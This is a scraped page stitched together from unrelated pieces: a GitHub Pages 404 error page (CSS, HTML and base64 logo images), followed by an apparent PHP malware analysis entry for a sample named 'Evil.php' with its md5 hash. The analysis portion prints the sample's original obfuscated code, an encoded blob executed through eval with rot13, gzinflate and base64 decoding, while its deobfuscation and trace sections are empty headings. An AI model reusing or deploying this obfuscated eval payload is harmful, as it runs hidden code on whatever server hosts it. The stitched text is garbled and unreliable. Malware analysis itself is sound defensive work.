      h1 { width: 800px; position:relative; left: -100px; letter-spacing: -1px; line-height: 60px; font-size: 60px; font-weight: 100; margin: 0px 0 50px 0; text-shadow: 0 1px 0 #fff; }
      p { color: rgba(0, 0, 0, 0.5); margin: 20px 0; line-height: 1.6; }

      ul { list-style: none; margin: 25px 0; padding: 0; }
      li { display: table-cell; font-weight: bold; width: 1%; }

      .logo { display: inline-block; margin-top: 35px; }
      .logo-img-2x { display: none; }
      @media
      only screen and (-webkit-min-device-pixel-ratio: 2),
      only screen and (   min--moz-device-pixel-ratio: 2),
      only screen and (     -o-min-device-pixel-ratio: 2/1),
      only screen and (        min-device-pixel-ratio: 2),
      only screen and (                min-resolution: 192dpi),
      only screen and (                min-resolution: 2dppx) {
        .logo-img-1x { display: none; }
        .logo-img-2x { display: inline-block; }
      }

      #suggestions {
        margin-top: 35px;
        color: #ccc;
      }
      #suggestions a {
        color: #666666;
        font-weight: 200;
        font-size: 14px;
        margin: 0 10px;
      }

    </style>
  </head>
  <body>

    <div class="container">

      <h1>404</h1>
      <p><strong>There isn't a GitHub Pages site here.</strong></p>

      <p>
        If you're trying to publish one,
        <a href="https://help.github.com/pages/">read the full documentation</a>
        to learn how to set up <strong>GitHub Pages</strong>
        for your repository, organization, or user account.
      </p>

      <div id="suggestions">
        <a href="https://githubstatus.com">GitHub Status</a> —
        <a href="https://twitter.com/githubstatus">@githubstatus</a>
      </div>

      <a href="/" class="logo logo-img-1x">
        <img width="32" height="32" title="" alt="" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyRpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNiAoTWFjaW50b3NoKSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDpFMTZCRDY3REIzRjAxMUUyQUQzREIxQzRENUFFNUM5NiIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDpFMTZCRDY3RUIzRjAxMUUyQUQzREIxQzRENUFFNUM5NiI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOkUxNkJENjdCQjNGMDExRTJBRDNEQjFDNEQ1QUU1Qzk2IiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOkUxNkJENjdDQjNGMDExRTJBRDNEQjFDNEQ1QUU1Qzk2Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+SM9MCAAAA+5JREFUeNrEV11Ik1EY3s4+ddOp29Q5b0opCgKFsoKoi5Kg6CIhuwi6zLJLoYLopq4qsKKgi4i6CYIoU/q5iDAKs6syoS76IRWtyJ+p7cdt7sf1PGOD+e0c3dygAx/67ZzzPM95/877GYdHRg3ZjMXFxepQKNS6sLCwJxqNNuFpiMfjVs4ZjUa/pmmjeD6VlJS8NpvNT4QQ7mxwjSsJiEQim/1+/9lgMHgIr5ohuxG1WCw9Vqv1clFR0dCqBODElV6v90ogEDjGdYbVjXhpaendioqK07CIR7ZAqE49PT09BPL2PMgTByQGsYiZlQD4uMXtdr+JxWINhgINYhGT2MsKgMrm2dnZXgRXhaHAg5jEJodUAHxux4LudHJE9RdEdA+i3Juz7bGHe4mhE9FNrgwBCLirMFV9Okh5eflFh8PR5nK5nDabrR2BNJlKO0T35+Li4n4+/J+/JQCxhmu5h3uJoXNHPbmWZAHMshWB8l5/ipqammaAf0zPDDx1ONV3vurdidqwAQL+pEc8sLcAe1CCvQ3YHxIW8Pl85xSWNC1hADDIv0rIE/o4J0k3kww4xSlwIhcq3EFFOm7KN/hUGOQkt0CFa5WpNJlMvxBEz/IVQAxg/ZRZl9wiHA63yDYieM7DnLP5CiAGsC7I5sgtYKJGWe2A8seFqgFJrJjEPY1Cn3pJ8/9W1e5VWsFDTEmFrBcoDhZJEQkXuhICMyKpjhahqN21hRYATKfUOlDmkygrR4o4C0VOLGJKrOITKB4jijzdXygBKixyC5TDQdnk/Pz8qRw6oOWGlsTKGOQW6OH6FBWsyePxdOXLTgxiyebILZCjz+GLgMIKnXNzc49YMlcRdHXcSwxFVgTInQhC9G33UhNoJLuqq6t345p9y3eUy8OTk5PjAHuI9uo4b07FBaOhsu0A4Unc+T1TU1Nj3KsSSE5yJ65jqF2DDd8QqWYmAZrIM2VlZTdnZmb6AbpdV9V6ec9znf5Q7HjYumdRE0JOp3MjitO4SFa+cZz8Umqe3TCbSLvdfkR/kWDdNQl5InuTcysOcpFT35ZrbBxx4p3JAHlZVVW1D/634VRt+FvLBgK/v5LV9WS+10xMTEwtRw7XvqOL+e2Q8V3AYIOIAXQ26/heWVnZCVfcyKHg2CBgTpmPmjYM8l24GyaUHyaIh7XwfR9ErE8qHoDfn2LTNAVC0HX6MFcBIP8Bi+6F6cdW/DICkANRfx99fEYFQ7Nph5i/uQiA214gno7K+guhaiKg9gC62+M8eR7XsBsYJ4ilam60Fb7r7uAj8wFyuwM1oIOWgfmDy6RXEEQzJMPe23DXrVS7rtyD3Df8z/FPgAEAzWU5Ku59ZAUAAAAASUVORK5CYII=">
      </a>

      <a href="/" class="logo logo-img-2x">
        <img width="32" height="32" title="" alt="" src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAAyRpVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdpbj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+IDx4OnhtcG1ldGEgeG1sbnM6eD0iYWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuMy1jMDExIDY2LjE0NTY2MSwgMjAxMi8wMi8wNi0xNDo1NjoyNyAgICAgICAgIj4gPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4gPHJkZjpEZXNjcmlwdGlvbiByZGY6YWJvdXQ9IiIgeG1sbnM6eG1wPSJodHRwOi8vbnMuYWRvYmUuY29tL3hhcC8xLjAvIiB4bWxuczp4bXBNTT0iaHR0cDovL25zLmFkb2JlLmNvbS94YXAvMS4wL21tLyIgeG1sbnM6c3RSZWY9Imh0dHA6Ly9ucy5hZG9iZS5jb20veGFwLzEuMC9zVHlwZS9SZXNvdXJjZVJlZiMiIHhtcDpDcmVhdG9yVG9vbD0iQWRvYmUgUGhvdG9zaG9wIENTNiAoTWFjaW50b3NoKSIgeG1wTU06SW5zdGFuY2VJRD0ieG1wLmlpZDpEQUM1QkUxRUI0MUMxMUUyQUQzREIxQzRENUFFNUM5NiIgeG1wTU06RG9jdW1lbnRJRD0ieG1wLmRpZDpEQUM1QkUxRkI0MUMxMUUyQUQzREIxQzRENUFFNUM5NiI+IDx4bXBNTTpEZXJpdmVkRnJvbSBzdFJlZjppbnN0YW5jZUlEPSJ4bXAuaWlkOkUxNkJENjdGQjNGMDExRTJBRDNEQjFDNEQ1QUU1Qzk2IiBzdFJlZjpkb2N1bWVudElEPSJ4bXAuZGlkOkUxNkJENjgwQjNGMDExRTJBRDNEQjFDNEQ1QUU1Qzk2Ii8+IDwvcmRmOkRlc2NyaXB0aW9uPiA8L3JkZjpSREY+IDwveDp4bXBtZXRhPiA8P3hwYWNrZXQgZW5kPSJyIj8+hfPRaQAAB6lJREFUeNrsW2mM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">
      </a>
    </div>
  

</body></html>
Original PHP code
<?php $et = 'jUjbZaJAEP0Vy7LKsFhjc7iX5VASiU5wb0mNmpctICgqCihlMeW/L5BOh11F2beZmj6nQp/uhtrSaPYSB02V6mHALPtDFKwrXXuagiE3rrz8SWFJI9s31/IjQmiN1/h6sT+00d31ffP4y2yXYXvhpDNqf1GB+lnP2M3PrddrqDb3luYuAl2r2IZ28oC9qrmupSEE6U1gSzvEZGd64YcWJ1bUh7lbS6ZJqdeZPIpWzzgwO+PY5Nw81dahvpIBW3Zd2GQRH7xnos8XTj4x5wsrEC/JhXfWNqGrAUkq406AgJKcvFU8gBNdrydRZKzvESwVhFECnLASGuRHg6b7HhDEMqiUsl/iIVnj92Zwzgrct7UXRRWMVRQlPERr2AFJ+EllAiVV+RQ6P9o6hKjSypF0BtyYWTY2l6LPr9glOq859e7yigvLsEsclSTzaMNgxdIeFeslUoNHpq54C0EGcshPRKxn7m/8DqVFACi2AnIJaa5zyuXjw5IJVZm4iXsv4MozFYo6WPPW0QKB0q4LkKTPJzJjnQ3PkYC/U+kzzNIPvszKUdglAWmezo2kZoMo+hKEPcjcwUiRz0tq9owlpVoNPD+C8H+cc7NBGlhYUfDbU5Ibni3XZOH4PPrKBUEuzmwCsNf7OVdUu6QxxQG7nLNoTe7mviTLckAofLWW4ucYHcJLKO8tGVwYDJghnWh5ZU+pjSL4T3pJc3UfDFYg1Z4JY3jo3PTCkibupQZvW4nlxb7RuQ9ZXhWdi6Qopk2fjGH01xfgP7Kq7QxywznGYDrwZ2KsrNyNvpwhFXq7eOCh2JpoldgLa3rbRmev+3d6u9LSUofYGa0sYnwAEzsSMc+m30aW7ritp/yzwfOLqkHeOvD5oQcnUGio3mpv5b79wGqUVb2fDZ7W0848ZY/qxlhlEW3i3VUNpwMl3A4isd/rH5yBr916OHoWKGm/agOdZNu4XbVN9Srz78oj8nSDinDMCcSH8ypfO214mls7ZvWU/ONjSphto0RCtqTRmLvGNRTZPw=='; eval(str_rot13(gzinflate(str_rot13(base64_decode("$et"))))); ?>
PHP Malware Analysis

Evil.php

md5: 486a89ec7b66552d6272a8afdc4a195a

Screenshot

Attributes

Deobfuscated PHP code

Execution traces

Generated HTML code

Original PHP code
